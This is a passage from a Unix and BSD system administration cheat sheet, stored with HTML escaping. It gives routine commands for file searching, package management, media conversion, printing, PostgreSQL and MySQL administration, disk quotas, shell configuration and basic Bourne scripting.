/&gt;&lt;br /&gt;Be careful with xarg or exec as it might or might not honor quotings and can return wrong results when files or directories contain spaces. In doubt use &quot;-print0 | xargs -0&quot; instead of &quot;| xargs&quot;. The option -print0 must be the last in the find command. See this nice mini tutorial for findhttp://www.hccfl.edu/pollock/Unix/FindCmd.htm.&lt;br /&gt;&lt;br /&gt;# find . -type f | xargs ls -l       # Will not work with spaces in names&lt;br /&gt;# find . -type f -print0 | xargs -0 ls -l  # Will work with spaces in names&lt;br /&gt;# find . -type f -exec ls -l &#39;{}&#39; \; # Or use quotes &#39;{}&#39; with -exec&lt;br /&gt;&lt;br /&gt;Miscellaneous&lt;br /&gt;&lt;br /&gt;# which command                      # Show full path name of command&lt;br /&gt;# time command                       # See how long a command takes to execute&lt;br /&gt;# time cat                           # Use time as stopwatch. Ctrl-c to stop&lt;br /&gt;# set | grep $USER                   # List the current environment&lt;br /&gt;# cal -3                             # Display a three month calendar&lt;br /&gt;# date [-u|--utc|--universal] [MMDDhhmm[[CC]YY][.ss]]&lt;br /&gt;# date 10022155                      # Set date and time&lt;br /&gt;# whatis grep                        # Display a short info on the command or word&lt;br /&gt;# whereis java                       # Search path and standard directories for word&lt;br /&gt;# setenv varname value               # Set env. variable varname to value (csh/tcsh)&lt;br /&gt;# export varname=&quot;value&quot;             # set env. variable varname to value (sh/ksh/bash)&lt;br /&gt;# pwd                                # Print working directory&lt;br /&gt;# mkdir -p /path/to/dir              # no error if existing, make parent dirs as needed&lt;br /&gt;# mkdir -p project/{bin,src,obj,doc/{html,man,pdf},debug/some/more/dirs}&lt;br /&gt;# rmdir /path/to/dir                 # Remove directory&lt;br /&gt;# rm -rf /path/to/dir                # Remove directory and its content (force)&lt;br /&gt;# cp -la /dir1 /dir2                 # Archive and hard link files instead of copy&lt;br /&gt;# cp -lpR /dir1 /dir2                # Same for FreeBSD&lt;br /&gt;# cp unixtoolbox.xhtml{,.bak}        # Short way to copy the file with a new extension&lt;br /&gt;# mv /dir1 /dir2                     # Rename a directory&lt;br /&gt;# ls -1                              # list one file per line&lt;br /&gt;# history | tail -50                 # Display the last 50 used commands&lt;br /&gt;&lt;br /&gt;Check file hashes with openssl. This is a nice alternative to the commands md5sum or sha1sum (FreeBSD uses md5 and sha1) which are not always installed.&lt;br /&gt;&lt;br /&gt;# openssl md5 file.tar.gz            # Generate an md5 checksum from file&lt;br /&gt;# openssl sha1 file.tar.gz           # Generate an sha1 checksum from file&lt;br /&gt;# openssl rmd160 file.tar.gz         # Generate a RIPEMD-160 checksum from file&lt;br /&gt;&lt;br /&gt;Install Software&lt;br /&gt;Usually the package manager uses the proxy variable for http/ftp requests. In .bashrc:&lt;br /&gt;&lt;br /&gt;export http_proxy=http://proxy_server:3128&lt;br /&gt;export ftp_proxy=http://proxy_server:3128&lt;br /&gt;&lt;br /&gt;List installed packages&lt;br /&gt;&lt;br /&gt;# rpm -qa                            # List installed packages (RH, SuSE, RPM based)&lt;br /&gt;# dpkg -l                            # Debian, Ubuntu&lt;br /&gt;# pkg_info                           # FreeBSD list all installed packages&lt;br /&gt;# pkg_info -W smbd                   # FreeBSD show which package smbd belongs to&lt;br /&gt;# pkginfo                            # Solaris&lt;br /&gt;&lt;br /&gt;Add/remove software&lt;br /&gt;Front ends: yast2/yast for SuSE, redhat-config-packages for Red Hat.&lt;br /&gt;&lt;br /&gt;# rpm -i pkgname.rpm                 # install the package (RH, SuSE, RPM based)&lt;br /&gt;# rpm -e pkgname                     # Remove package&lt;br /&gt;&lt;br /&gt;Debian&lt;br /&gt;&lt;br /&gt;# apt-get update                     # First update the package lists&lt;br /&gt;# apt-get install emacs              # Install the package emacs&lt;br /&gt;# dpkg --remove emacs                # Remove the package emacs&lt;br /&gt;# dpkg -S file                       # find what package a file belongs to&lt;br /&gt;&lt;br /&gt;Gentoo&lt;br /&gt;Gentoo uses emerge as the heart of its &quot;Portage&quot; package management system.&lt;br /&gt;&lt;br /&gt;# emerge --sync                      # First sync the local portage tree&lt;br /&gt;# emerge -u packagename              # Install or upgrade a package&lt;br /&gt;# emerge -C packagename              # Remove the package&lt;br /&gt;# revdep-rebuild                     # Repair dependencies&lt;br /&gt;&lt;br /&gt;Solaris&lt;br /&gt;The &lt;cdrom&gt; path is usually /cdrom/cdrom0.&lt;br /&gt;&lt;br /&gt;# pkgadd -d &lt;cdrom&gt;/Solaris_9/Product SUNWgtar&lt;br /&gt;# pkgadd -d SUNWgtar                 # Add downloaded package (bunzip2 first)&lt;br /&gt;# pkgrm SUNWgtar                     # Remove the package&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;# pkg_add -r rsync                   # Fetch and install rsync.&lt;br /&gt;# pkg_delete /var/db/pkg/rsync-xx    # Delete the rsync package&lt;br /&gt;&lt;br /&gt;Set where the packages are fetched from with the PACKAGESITE variable. For example:&lt;br /&gt;&lt;br /&gt;# export PACKAGESITE=ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages/Latest/ &lt;br /&gt;# or ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-6-stable/Latest/&lt;br /&gt;&lt;br /&gt;FreeBSD ports&lt;br /&gt;The port tree /usr/ports/ is a collection of software ready to compile and install. The ports are updated with the program portsnap.&lt;br /&gt;&lt;br /&gt;# portsnap fetch extract             # Create the tree when running the first time&lt;br /&gt;# portsnap fetch update              # Update the port tree&lt;br /&gt;# cd /usr/ports/net/rsync/           # Select the package to install&lt;br /&gt;# make install distclean             # Install and cleanup (also see man ports)&lt;br /&gt;# make package                       # Make a binary package for the port&lt;br /&gt;&lt;br /&gt;Library path&lt;br /&gt;Due to complex dependencies and runtime linking, programs are difficult to copy to an other system or distribution. However for small programs with little dependencies, the missing libraries can be copied over. The runtime libraries (and the missing one) are checked with ldd and managed with ldconfig.&lt;br /&gt;&lt;br /&gt;# ldd /usr/bin/rsync                 # List all needed runtime libraries&lt;br /&gt;# ldconfig -n /path/to/libs/         # Add a path to the shared libraries directories&lt;br /&gt;# ldconfig -m /path/to/libs/         # FreeBSD&lt;br /&gt;# LD_LIBRARY_PATH                    # The variable set the link library path&lt;br /&gt;&lt;br /&gt;Convert Media&lt;br /&gt;Sometimes one simply need to convert a video, audio file or document to another format.&lt;br /&gt;Text encoding&lt;br /&gt;Text encoding can get totally wrong, specially when the language requires special characters like àäç. The command iconv can convert from one encoding to an other.&lt;br /&gt;&lt;br /&gt;# iconv -f &lt;from_encoding&gt; -t &lt;to_encoding&gt; &lt;input_file&gt;&lt;br /&gt;# iconv -f ISO8859-1 -t UTF-8 -o file.input &gt; file_utf8&lt;br /&gt;# iconv -l                           # List known coded character sets&lt;br /&gt;&lt;br /&gt;Without the -f option, iconv will use the local char-set, which is usually fine if the document displays well.&lt;br /&gt;Unix - DOS newlines&lt;br /&gt;Convert DOS (CR/LF) to Unix (LF) newlines and back within a Unix shell. See also dos2unix and unix2dos if you have them.&lt;br /&gt;&lt;br /&gt;# sed &#39;s/.$//&#39; dosfile.txt &gt; unixfile.txt                  # DOS to UNIX&lt;br /&gt;# awk &#39;{sub(/\r$/,&quot;&quot;);print}&#39; dosfile.txt &gt; unixfile.txt   # DOS to UNIX&lt;br /&gt;# awk &#39;{sub(/$/,&quot;\r&quot;);print}&#39; unixfile.txt &gt; dosfile.txt   # UNIX to DOS&lt;br /&gt;&lt;br /&gt;Convert Unix to DOS newlines within a Windows environment. Use sed or awk from mingw or cygwin.&lt;br /&gt;&lt;br /&gt;# sed -n p unixfile.txt &gt; dosfile.txt&lt;br /&gt;# awk 1 unixfile.txt &gt; dosfile.txt   # UNIX to DOS (with a cygwin shell)&lt;br /&gt;&lt;br /&gt;PDF to Jpeg and concatenate PDF files&lt;br /&gt;Convert a PDF document with gs (GhostScript) to jpeg (or png) images for each page. Also much shorter with convert (from ImageMagick or GraphicsMagick).&lt;br /&gt;&lt;br /&gt;# gs -dBATCH -dNOPAUSE -sDEVICE=jpeg -r150 -dTextAlphaBits=4 -dGraphicsAlphaBits=4 \&lt;br /&gt; -dMaxStripSize=8192 -sOutputFile=unixtoolbox_%d.jpg unixtoolbox.pdf&lt;br /&gt;# convert unixtoolbox.pdf unixtoolbox-%03d.png&lt;br /&gt;# convert *.jpeg images.pdf          # Create a simple PDF with all pictures&lt;br /&gt;# convert image000* -resample 120x120 -compress JPEG -quality 80 images.pdf&lt;br /&gt;&lt;br /&gt;Ghostscript can also concatenate multiple pdf files into a single one. This only works well if the PDF files are &quot;well behaved&quot;.&lt;br /&gt;&lt;br /&gt;# gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=all.pdf \&lt;br /&gt;file1.pdf file2.pdf ...              # On Windows use &#39;#&#39; instead of &#39;=&#39;&lt;br /&gt;&lt;br /&gt;Convert video&lt;br /&gt;Compress the Canon digicam video with an mpeg4 codec and repair the crappy sound.&lt;br /&gt;&lt;br /&gt;# mencoder -o videoout.avi -oac mp3lame -ovc lavc -srate 11025 \&lt;br /&gt;-channels 1 -af-adv force=1 -lameopts preset=medium -lavcopts \&lt;br /&gt;vcodec=msmpeg4v2:vbitrate=600 -mc 0 vidoein.AVI&lt;br /&gt;&lt;br /&gt;See sox for sound processing.&lt;br /&gt;Copy an audio cd&lt;br /&gt;The program cdparanoiahttp://xiph.org/paranoia/ can save the audio tracks (FreeBSD port in audio/cdparanoia/), oggenc can encode in Ogg Vorbis format, lame converts to mp3.&lt;br /&gt;&lt;br /&gt;# cdparanoia -B                      # Copy the tracks to wav files in current dir&lt;br /&gt;# lame -b 256 in.wav out.mp3         # Encode in mp3 256 kb/s&lt;br /&gt;# for i in *.wav; do lame -b 256 $i `basename $i .wav`.mp3; done&lt;br /&gt;# oggenc in.wav -b 256 out.ogg       # Encode in Ogg Vorbis 256 kb/s&lt;br /&gt;&lt;br /&gt;Printing&lt;br /&gt;Print with lpr&lt;br /&gt;&lt;br /&gt;# lpr unixtoolbox.ps                 # Print on default printer&lt;br /&gt;# export PRINTER=hp4600              # Change the default printer&lt;br /&gt;# lpr -Php4500 #2 unixtoolbox.ps     # Use printer hp4500 and print 2 copies&lt;br /&gt;# lpr -o Duplex=DuplexNoTumble ...   # Print duplex along the long side&lt;br /&gt;# lpr -o PageSize=A4,Duplex=DuplexNoTumble ...&lt;br /&gt;&lt;br /&gt;# lpq                                # Check the queue on default printer&lt;br /&gt;# lpq -l -Php4500                    # Queue on printer hp4500 with verbose&lt;br /&gt;# lprm -                             # Remove all users jobs on default printer&lt;br /&gt;# lprm -Php4500 3186                 # Remove job 3186. Find job nbr with lpq&lt;br /&gt;# lpc status                         # List all available printers&lt;br /&gt;# lpc status hp4500                  # Check if printer is online and queue length&lt;br /&gt;&lt;br /&gt;Some devices are not postscript and will print garbage when fed with a pdf file. This might be solved with:&lt;br /&gt;&lt;br /&gt;# gs -dSAFER -dNOPAUSE -sDEVICE=deskjet -sOutputFile=\|lpr file.pdf&lt;br /&gt;&lt;br /&gt;Print to a PDF file even if the application does not support it. Use gs on the print command instead of lpr.&lt;br /&gt;&lt;br /&gt;# gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=/path/file.pdf&lt;br /&gt;&lt;br /&gt;Databases&lt;br /&gt;PostgreSQL&lt;br /&gt;Change root or a username password&lt;br /&gt;&lt;br /&gt;# psql -d template1 -U pgsql&lt;br /&gt;&gt; alter user pgsql with password &#39;pgsql_password&#39;;  # Use username instead of &quot;pgsql&quot;&lt;br /&gt;&lt;br /&gt;Create user and database&lt;br /&gt;The commands createuser, dropuser, createdb and dropdb are convenient shortcuts equivalent to the SQL commands. The new user is bob with database bobdb ; use as root with pgsql the database super user:&lt;br /&gt;&lt;br /&gt;# createuser -U pgsql -P bob         # -P will ask for password&lt;br /&gt;# createdb -U pgsql -O bob bobdb     # new bobdb is owned by bob&lt;br /&gt;# dropdb bobdb                       # Delete database bobdb&lt;br /&gt;# dropuser bob                       # Delete user bob&lt;br /&gt;&lt;br /&gt;The general database authentication mechanism is configured in pg_hba.conf&lt;br /&gt;Grant remote access&lt;br /&gt;The file $PGSQL_DATA_D/postgresql.conf specifies the address to bind to. Typically listen_addresses = &#39;*&#39; for Postgres 8.x.&lt;br /&gt;The file $PGSQL_DATA_D/pg_hba.conf defines the access control. Examples:&lt;br /&gt;&lt;br /&gt;# TYPE  DATABASE    USER        IP-ADDRESS        IP-MASK          METHOD&lt;br /&gt;host    bobdb       bob        212.117.81.42     255.255.255.255   password&lt;br /&gt;host    all         all        0.0.0.0/0                           password&lt;br /&gt;&lt;br /&gt;Backup and restore&lt;br /&gt;The backups and restore are done with the user pgsql or postgres. Backup and restore a single database:&lt;br /&gt;&lt;br /&gt;# pg_dump --clean dbname &gt; dbname_sql.dump&lt;br /&gt;# psql dbname &lt; dbname_sql.dump&lt;br /&gt;&lt;br /&gt;Backup and restore all databases (including users):&lt;br /&gt;&lt;br /&gt;# pg_dumpall --clean &gt; full.dump&lt;br /&gt;# psql -f full.dump postgres&lt;br /&gt;&lt;br /&gt;In this case the restore is started with the database postgres which is better when reloading an empty cluster.&lt;br /&gt;MySQL&lt;br /&gt;Change mysql root or username password&lt;br /&gt;Method 1&lt;br /&gt;&lt;br /&gt;# /etc/init.d/mysql stop&lt;br /&gt;or&lt;br /&gt;# killall mysqld&lt;br /&gt;# mysqld --skip-grant-tables&lt;br /&gt;# mysqladmin -u root password &#39;newpasswd&#39;&lt;br /&gt;# /etc/init.d/mysql start&lt;br /&gt;&lt;br /&gt;Method 2&lt;br /&gt;&lt;br /&gt;# mysql -u root mysql&lt;br /&gt;mysql&gt; UPDATE USER SET PASSWORD=PASSWORD(&quot;newpassword&quot;) where user=&#39;root&#39;;&lt;br /&gt;mysql&gt; FLUSH PRIVILEGES;                           # Use username instead of &quot;root&quot;&lt;br /&gt;mysql&gt; quit&lt;br /&gt;&lt;br /&gt;Create user and database&lt;br /&gt;&lt;br /&gt;# mysql -u root mysql&lt;br /&gt;mysql&gt; CREATE DATABASE bobdb;&lt;br /&gt;mysql&gt; GRANT ALL ON *.* TO &#39;bob&#39;@&#39;%&#39; IDENTIFIED BY &#39;pwd&#39;; # Use localhost instead of %&lt;br /&gt;                                                   # to restrict the network access&lt;br /&gt;mysql&gt; DROP DATABASE bobdb;                        # Delete database&lt;br /&gt;mysql&gt; DROP USER bob;                              # Delete user&lt;br /&gt;mysql&gt; DELETE FROM mysql.user WHERE user=&#39;bob and host=&#39;hostname&#39;; # Alt. command&lt;br /&gt;mysql&gt; FLUSH PRIVILEGES;&lt;br /&gt;&lt;br /&gt;Grant remote access&lt;br /&gt;Remote access is typically permitted for a database, and not all databases. The file /etc/my.cnf contains the IP address to bind to. Typically comment the line bind-address = out.&lt;br /&gt;&lt;br /&gt;# mysql -u root mysql&lt;br /&gt;mysql&gt; GRANT ALL ON bobdb.* TO bob@&#39;xxx.xxx.xxx.xxx&#39; IDENTIFIED BY &#39;PASSWORD&#39;;&lt;br /&gt;mysql&gt; REVOKE GRANT OPTION ON foo.* FROM bar@&#39;xxx.xxx.xxx.xxx&#39;;&lt;br /&gt;mysql&gt; FLUSH PRIVILEGES;                  # Use &#39;hostname&#39; or also &#39;%&#39; for full access&lt;br /&gt;&lt;br /&gt;Backup and restore&lt;br /&gt;Backup and restore a single database:&lt;br /&gt;&lt;br /&gt;# mysqldump -u root -psecret --add-drop-database dbname &gt; dbname_sql.dump&lt;br /&gt;# mysql -u root -psecret -D dbname &lt; dbname_sql.dump&lt;br /&gt;&lt;br /&gt;Backup and restore all databases:&lt;br /&gt;&lt;br /&gt;# mysqldump -u root -psecret --add-drop-database --all-databases &gt; full.dump&lt;br /&gt;# mysql -u root -psecret &lt; full.dump&lt;br /&gt;&lt;br /&gt;Here is &quot;secret&quot; the mysql root password, there is no space after -p. When the -p option is used alone (w/o password), the password is asked at the command prompt.&lt;br /&gt;SQLite&lt;br /&gt;SQLitehttp://www.sqlite.org is a small powerful self-contained, serverless, zero-configuration SQL database.&lt;br /&gt;Dump and restore&lt;br /&gt;It can be useful to dump and restore an SQLite database. For example you can edit the dump file to change a column attribute or type and then restore the database. This is easier than messing with SQL commands. Use the command sqlite3 for a 3.x database.&lt;br /&gt;&lt;br /&gt;# sqlite database.db .dump &gt; dump.sql              # dump&lt;br /&gt;# sqlite database.db &lt; dump.sql                    # restore&lt;br /&gt;&lt;br /&gt;Convert 2.x to 3.x database&lt;br /&gt;&lt;br /&gt;sqlite database_v2.db .dump | sqlite3 database_v3.db&lt;br /&gt;&lt;br /&gt;Disk Quota&lt;br /&gt;A disk quota allows to limit the amount of disk space and/or the number of files a user or (or member of group) can use. The quotas are allocated on a per-file system basis and are enforced by the kernel.&lt;br /&gt;Linux setup&lt;br /&gt;The quota tools package usually needs to be installed, it contains the command line tools.&lt;br /&gt;Activate the user quota in the fstab and remount the partition. If the partition is busy, either all locked files must be closed, or the system must be rebooted. Add usrquota to the fstab mount options, for example:&lt;br /&gt;&lt;br /&gt;/dev/sda2     /home    reiserfs     rw,acl,user_xattr,usrquota 1 1&lt;br /&gt;# mount -o remount /home&lt;br /&gt;# mount                              # Check if usrquota is active, otherwise reboot&lt;br /&gt;&lt;br /&gt;Initialize the quota.user file with quotacheck.&lt;br /&gt;&lt;br /&gt;# quotacheck -vum /home&lt;br /&gt;# chmod 644 /home/aquota.user        # To let the users check their own quota&lt;br /&gt;&lt;br /&gt;Activate the quota either with the provided script (e.g. /etc/init.d/quotad on SuSE) or with quotaon:&lt;br /&gt;&lt;br /&gt;quotaon -vu /home&lt;br /&gt;&lt;br /&gt;Check that the quota is active with:&lt;br /&gt;&lt;br /&gt;quota -v&lt;br /&gt;&lt;br /&gt;FreeBSD setup&lt;br /&gt;The quota tools are part of the base system, however the kernel needs the option quota. If it is not there, add it and recompile the kernel.&lt;br /&gt;&lt;br /&gt;options QUOTA&lt;br /&gt;&lt;br /&gt;As with Linux, add the quota to the fstab options (userquota, not usrquota):&lt;br /&gt;&lt;br /&gt;/dev/ad0s1d    /home    ufs     rw,noatime,userquota    2  2&lt;br /&gt;# mount /home                        # To remount the partition&lt;br /&gt;&lt;br /&gt;Enable disk quotas in /etc/rc.conf and start the quota.&lt;br /&gt;&lt;br /&gt;# grep quotas /etc/rc.conf&lt;br /&gt;enable_quotas=&quot;YES&quot;                  # turn on quotas on startup (or NO).&lt;br /&gt;check_quotas=&quot;YES&quot;                   # Check quotas on startup (or NO).&lt;br /&gt;# /etc/rc.d/quota start&lt;br /&gt;&lt;br /&gt;Assign quota limits&lt;br /&gt;The quotas are not limited per default (set to 0). The limits are set with edquota for single users. A quota can be also duplicated to many users. The file structure is different between the quota implementations, but the principle is the same: the values of blocks and inodes can be limited. Only change the values of soft and hard. If not specified, the blocks are 1k. The grace period is set with edquota -t. For example:&lt;br /&gt;&lt;br /&gt;# edquota -u colin&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;Disk quotas for user colin (uid 1007):&lt;br /&gt;  Filesystem         blocks       soft       hard     inodes     soft     hard&lt;br /&gt;  /dev/sda8            108       1000       2000          1        0        0&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;Quotas for user colin:&lt;br /&gt;/home: kbytes in use: 504184, limits (soft = 700000, hard = 800000)&lt;br /&gt;   inodes in use: 1792, limits (soft = 0, hard = 0)&lt;br /&gt;&lt;br /&gt;For many users&lt;br /&gt;The command edquota -p is used to duplicate a quota to other users. For example to duplicate a reference quota to all users:&lt;br /&gt;&lt;br /&gt;# edquota -p refuser `awk -F: &#39;$3 &gt; 499 {print $1}&#39; /etc/passwd`&lt;br /&gt;# edquota -p refuser user1 user2     # Duplicate to 2 users&lt;br /&gt;&lt;br /&gt;Checks&lt;br /&gt;Users can check their quota by simply typing quota (the file quota.user must be readable). Root can check all quotas.&lt;br /&gt;&lt;br /&gt;# quota -u colin                     # Check quota for a user&lt;br /&gt;# repquota /home                     # Full report for the partition for all users&lt;br /&gt;&lt;br /&gt;Shells&lt;br /&gt;Most Linux distributions use the bash shell while the BSDs use tcsh, the bourne shell is only used for scripts. Filters are very useful and can be piped:&lt;br /&gt;&lt;br /&gt;    * grep   Pattern matching&lt;br /&gt;    * sed   Search and Replace strings or characters&lt;br /&gt;    * cut   Print specific columns from a marker&lt;br /&gt;    * sort   Sort alphabetically or numerically&lt;br /&gt;    * uniq   Remove duplicate lines from a file&lt;br /&gt;&lt;br /&gt;For example used all at once:&lt;br /&gt;&lt;br /&gt;# ifconfig | sed &#39;s/  / /g&#39; | cut -d&quot; &quot; -f1 | uniq | grep -E &quot;[a-z0-9]+&quot; | sort -r&lt;br /&gt;# ifconfig | sed &#39;/.*inet addr:/!d;s///;s/ .*//&#39;|sort -t. -k1,1n -k2,2n -k3,3n -k4,4n&lt;br /&gt;&lt;br /&gt;The first character in the sed pattern is a tab. To write a tab on the console, use ctrl-v ctrl-tab.&lt;br /&gt;bash&lt;br /&gt;Redirects and pipes for bash and sh:&lt;br /&gt;&lt;br /&gt;# cmd 1&gt; file                         # Redirect stdout to file.&lt;br /&gt;# cmd 2&gt; file                         # Redirect stderr to file.&lt;br /&gt;# cmd 1&gt;&gt; file                        # Redirect and append stdout to file.&lt;br /&gt;# cmd &amp;&gt; file                         # Redirect both stdout and stderr to file.&lt;br /&gt;# cmd &gt;file 2&gt;&amp;1                      # Redirects stderr to stdout and then to file.&lt;br /&gt;# cmd1 | cmd2                         # pipe stdout to cmd2&lt;br /&gt;# cmd1 2&gt;&amp;1 | cmd2                    # pipe stdout and stderr to cmd2&lt;br /&gt;&lt;br /&gt;Modify your configuration in ~/.bashrc (it can also be ~/.bash_profile). The following entries are useful, reload with &quot;. .bashrc&quot;.&lt;br /&gt;&lt;br /&gt;# in .bashrc&lt;br /&gt;bind &#39;&quot;\e[A&quot;&#39;:history-search-backward # Use up and down arrow to search&lt;br /&gt;bind &#39;&quot;\e[B&quot;&#39;:history-search-forward  # the history. Invaluable!&lt;br /&gt;set -o emacs                          # Set emacs mode in bash (see below)&lt;br /&gt;set bell-style visible                # Do not beep, inverse colors&lt;br /&gt;    # Set a nice prompt like [user@host]/path/todir&gt;&lt;br /&gt;PS1=&quot;\[\033[1;30m\][\[\033[1;34m\]\u\[\033[1;30m\]&quot;&lt;br /&gt;PS1=&quot;$PS1@\[\033[0;33m\]\h\[\033[1;30m\]]\[\033[0;37m\]&quot;&lt;br /&gt;PS1=&quot;$PS1\w\[\033[1;30m\]&gt;\[\033[0m\]&quot;&lt;br /&gt;&lt;br /&gt;# To check the currently active aliases, simply type alias&lt;br /&gt;alias  ls=&#39;ls -aF&#39;                    # Append indicator (one of */=&gt;@|)&lt;br /&gt;alias  ll=&#39;ls -aFls&#39;                  # Listing&lt;br /&gt;alias  la=&#39;ls -all&#39;&lt;br /&gt;alias ..=&#39;cd ..&#39;&lt;br /&gt;alias ...=&#39;cd ../..&#39;&lt;br /&gt;export HISTFILESIZE=5000              # Larger history&lt;br /&gt;export CLICOLOR=1                     # Use colors (if possible)&lt;br /&gt;export LSCOLORS=ExGxFxdxCxDxDxBxBxExEx&lt;br /&gt;&lt;br /&gt;tcsh&lt;br /&gt;Redirects and pipes for tcsh and csh (simple &gt; and &gt;&gt; are the same as sh):&lt;br /&gt;&lt;br /&gt;# cmd &gt;&amp; file                         # Redirect both stdout and stderr to file.&lt;br /&gt;# cmd &gt;&gt;&amp; file                        # Append both stdout and stderr to file.&lt;br /&gt;# cmd1 | cmd2                         # pipe stdout to cmd2&lt;br /&gt;# cmd1 |&amp; cmd2                        # pipe stdout and stderr to cmd2&lt;br /&gt;&lt;br /&gt;The settings for csh/tcsh are set in ~/.cshrc, reload with &quot;source .cshrc&quot;. Examples:&lt;br /&gt;&lt;br /&gt;# in .cshrc&lt;br /&gt;alias  ls      &#39;ls -aF&#39;&lt;br /&gt;alias  ll      &#39;ls -aFls&#39;&lt;br /&gt;alias  la      &#39;ls -all&#39;&lt;br /&gt;alias  ..      &#39;cd ..&#39;&lt;br /&gt;alias  ...     &#39;cd ../..&#39;&lt;br /&gt;set   prompt    = &quot;%B%n%b@%B%m%b%/&gt; &quot; # like user@host/path/todir&gt;&lt;br /&gt;set   history   =  5000&lt;br /&gt;set   savehist  = ( 6000 merge )&lt;br /&gt;set   autolist                        # Report possible completions with tab&lt;br /&gt;set   visiblebell                     # Do not beep, inverse colors&lt;br /&gt;&lt;br /&gt;# Bindkey and colors&lt;br /&gt;bindkey -e     Select Emacs bindings  # Use emacs keys to edit the command prompt&lt;br /&gt;bindkey -k up history-search-backward # Use up and down arrow to search&lt;br /&gt;bindkey -k down history-search-forward&lt;br /&gt;setenv CLICOLOR 1                     # Use colors (if possible)&lt;br /&gt;setenv LSCOLORS ExGxFxdxCxDxDxBxBxExEx&lt;br /&gt;&lt;br /&gt;The emacs mode enables to use the emacs keys shortcuts to modify the command prompt line. This is extremely useful (not only for emacs users). The most used commands are:&lt;br /&gt;&lt;br /&gt;    * C-a       Move cursor to beginning of line&lt;br /&gt;    * C-e       Move cursor to end of line&lt;br /&gt;    * M-b       Move cursor back one word&lt;br /&gt;    * M-f       Move cursor forward one word&lt;br /&gt;    * M-d       Cut the next word&lt;br /&gt;    * C-w       Cut the last word&lt;br /&gt;    * C-u       Cut everything before the cursor&lt;br /&gt;    * C-k       Cut everything after the cursor (rest of the line)&lt;br /&gt;    * C-y       Paste the last thing to be cut (simply paste)&lt;br /&gt;    * C-_       Undo&lt;br /&gt;&lt;br /&gt;Note: C- = hold control, M- = hold meta (which is usually the alt or escape key).&lt;br /&gt;Scripting&lt;br /&gt;&lt;br /&gt;Basics | Script example | awk | sed | Regular Expressions | useful commands&lt;br /&gt;The Bourne shell (/bin/sh) is present on all Unix installations and scripts written in this language are (quite) portable; man 1 sh is a good reference.&lt;br /&gt;Basics&lt;br /&gt;Variables and arguments&lt;br /&gt;Assign with variable=value and get content with $variable&lt;br /&gt;&lt;br /&gt;MESSAGE=&quot;Hello World&quot;                        # Assign a string&lt;br /&gt;PI=3.1415                                    # Assign a decimal number&lt;br /&gt;N=8&lt;br /&gt;TWON=`expr $N * 2`                           # Arithmetic expression (only integers)&lt;br /&gt;TWON=$(($N * 2))                             # Other syntax&lt;br /&gt;TWOPI=`echo &quot;$PI * 2&quot; | bc -l`               # Use bc for floating point operations&lt;br /&gt;ZERO=`echo &quot;c($PI/4)-sqrt(2)/2&quot; | bc -l`&lt;br /&gt;&lt;br /&gt;The command line arguments are&lt;br /&gt;&lt;br /&gt;$0, $1, $2, ...                              # $0 is the command itself &lt;br /&gt;$#                                           # The number of arguments&lt;br /&gt;$*                                           # All arguments (also $@)&lt;br /&gt;&lt;br /&gt;Special Variables&lt;br /&gt;&lt;br /&gt;$$                                           # The current process ID&lt;br /&gt;$?                                           # exit status of last command&lt;br /&gt;  command&lt;br /&gt;  if [ $? != 0 ]; then&lt;br /&gt;    echo &quot;command failed&quot;&lt;br /&gt;  fi&lt;br /&gt;mypath=`pwd`&lt;br /&gt;mypath=${mypath}/file.txt&lt;br /&gt;echo ${mypath##*/}                           # Display the filename only&lt;br /&gt;echo ${mypath%%.*}                           # Full path without extention&lt;br /&gt;var2=${var:=string}                          # Use var if set, otherwise use string&lt;br /&gt;                                             # assign string to var and then to var2.&lt;br /&gt;&lt;br /&gt;Constructs&lt;br /&gt;&lt;br /&gt;for file in `ls`&lt;br /&gt;do&lt;br /&gt;    echo $file&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;count=0&lt;br /&gt;while [ $count -lt 5 ]; do&lt;br /&gt;    echo $count&lt;br /&gt;    sleep 1&lt;br /&gt;    count=$(($count + 1))&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;myfunction() {&lt;br /&gt;    find . -type f -name &quot;*.$1&quot; -print       # $1 is first argument of the function&lt;br /&gt;}&lt;br /&gt;myfunction &quot;txt&quot;&lt;br /&gt;&lt;br /&gt;Generate a file&lt;br /&gt;&lt;br /&gt;MYHOME=/home/colin&lt;br /&gt;cat &gt; testhome.sh &lt;&lt; _EOF&lt;br /&gt;# All of this goes into the file testhome.sh&lt;br /&gt;if [ -d &quot;$MYHOME&quot; ] ; then&lt;br /&gt;    echo $MYHOME exists&lt;br /&gt;else&lt;br /&gt;    echo $MYHOME does not exist&lt;br /&gt;fi&lt;br /&gt;_EOF&lt;br /&gt;sh testhome.sh&lt;br /&gt;&lt;br /&gt;Bourne script example&lt;br /&gt;As a small example, the script used to create a PDF booklet from this xhtml document:&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;# This script creates a book in pdf format ready to print on a duplex printer&lt;br /&gt;if [ $# -ne 1 ]; then                        # Check the argument&lt;br /&gt;  echo 1&gt;&amp;2 &quot;Usage: $0 HtmlFile&quot;&lt;br /&gt;  exit 1                                     # non zero exit if error&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;file=$1                                      # Assign the filename&lt;br /&gt;fname=${file%.*}                             # Get the name of the file only&lt;br /&gt;fext=${file#*.}                              # Get the extension of the file&lt;br /&gt;&lt;br /&gt;prince $file -o $fname.pdf                   # from www.princexml.com&lt;br /&gt;pdftops -paper A4 -noshrink $fname.pdf $fname.ps # create postscript booklet&lt;br /&gt;cat $fname.ps |psbook|psnup -Pa4 -2 |pstops -b &quot;2:0,1U(21cm,29.7cm)&quot; &gt; $fname.book.ps&lt;br /&gt;&lt;br /&gt;ps2pdf13 -sPAPERSIZE=a4 -sAutoRotatePages=None $fname.book.ps $fname.book.pdf&lt;br /&gt;                                             # use #a4 and #None on Windows!&lt;br /&gt;exit 0                                       # exit 0 means successful&lt;br /&gt;&lt;br /&gt;Some awk commands&lt;br /&gt;Awk is useful for field stripping, like 